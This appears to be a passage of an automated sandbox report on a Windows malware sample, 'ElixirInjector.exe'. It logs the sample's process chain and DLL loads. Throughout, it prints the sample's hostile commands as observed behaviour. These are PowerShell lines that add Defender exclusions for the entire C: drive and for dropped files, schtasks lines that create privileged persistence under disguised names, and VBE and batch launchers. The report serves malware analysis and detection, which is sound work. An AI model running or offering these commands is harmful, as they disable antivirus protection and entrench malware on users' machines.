              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\Desktop\ElixirInjector.exeFile read: C:\Windows\win.iniJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: ElixirInjector.exeReversingLabs: Detection: 60%
              Source: ElixirInjector.exeVirustotal: Detection: 65%
              Source: C:\Users\user\Desktop\ElixirInjector.exeFile read: C:\Users\user\Desktop\ElixirInjector.exeJump to behavior
              Source: unknownProcess created: C:\Users\user\Desktop\ElixirInjector.exe "C:\Users\user\Desktop\ElixirInjector.exe"
              Source: C:\Users\user\Desktop\ElixirInjector.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe"
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\6iq5IFzZA9EyHTwKHM8vXk9USXtHecApoG.bat" "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe "C:\Users\user\AppData\Local\Temp\WinRAR/data/bin/unistall/Bluestacks.exe"
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe'" /f
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fvXBwqYdGYPkplbuTcoXecCdPf" /sc MINUTE /mo 9 /tr "'C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe'" /f
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fvXBwqYdGYPkplbuTcoXecCdPf" /sc MINUTE /mo 7 /tr "'C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe'" /rl HIGHEST /f
              Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
              Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
              Source: unknownProcess created: C:\Windows\ShellComponents\cmd.exe C:\Windows\ShellComponents\cmd.exe
              Source: unknownProcess created: C:\Windows\ShellComponents\cmd.exe C:\Windows\ShellComponents\cmd.exe
              Source: unknownProcess created: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe "C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe"
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ShellComponents\cmd.exe'
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe'
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exe'
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe'
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: unknownProcess created: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe "C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe"
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\9w1FkSj5b9.bat"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: unknownProcess created: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe
              Source: unknownProcess created: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe "C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe"
              Source: C:\Users\user\Desktop\ElixirInjector.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe" Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\6iq5IFzZA9EyHTwKHM8vXk9USXtHecApoG.bat" "Jump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe "C:\Users\user\AppData\Local\Temp\WinRAR/data/bin/unistall/Bluestacks.exe"Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe'" /fJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fvXBwqYdGYPkplbuTcoXecCdPf" /sc MINUTE /mo 9 /tr "'C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe'" /fJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exe'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fvXBwqYdGYPkplbuTcoXecCdPf" /sc MINUTE /mo 7 /tr "'C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe'" /rl HIGHEST /fJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\9w1FkSj5b9.bat" Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe "C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe"
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: <pi-ms-win-core-synch-l1-2-0.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: <pi-ms-win-core-fibers-l1-1-1.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: <pi-ms-win-core-synch-l1-2-0.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: <pi-ms-win-core-fibers-l1-1-1.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: <pi-ms-win-core-localization-l1-2-1.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: version.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: dxgidebug.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: sfc_os.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: dwmapi.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: riched20.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: usp10.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: msls31.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: iconcodecservice.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: windowscodecs.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: textshaping.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: textinputframework.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: coreuicomponents.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: coremessaging.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: ntmarta.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: edputil.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: windows.staterepositoryps.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: policymanager.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: msvcp110_win.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: appresolver.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: bcp47langs.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: slc.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: onecorecommonproxystub.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: pcacli.dllJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: vbscript.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dlnashext.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wpdshext.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: version.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: uxtheme.dllJump to behavior
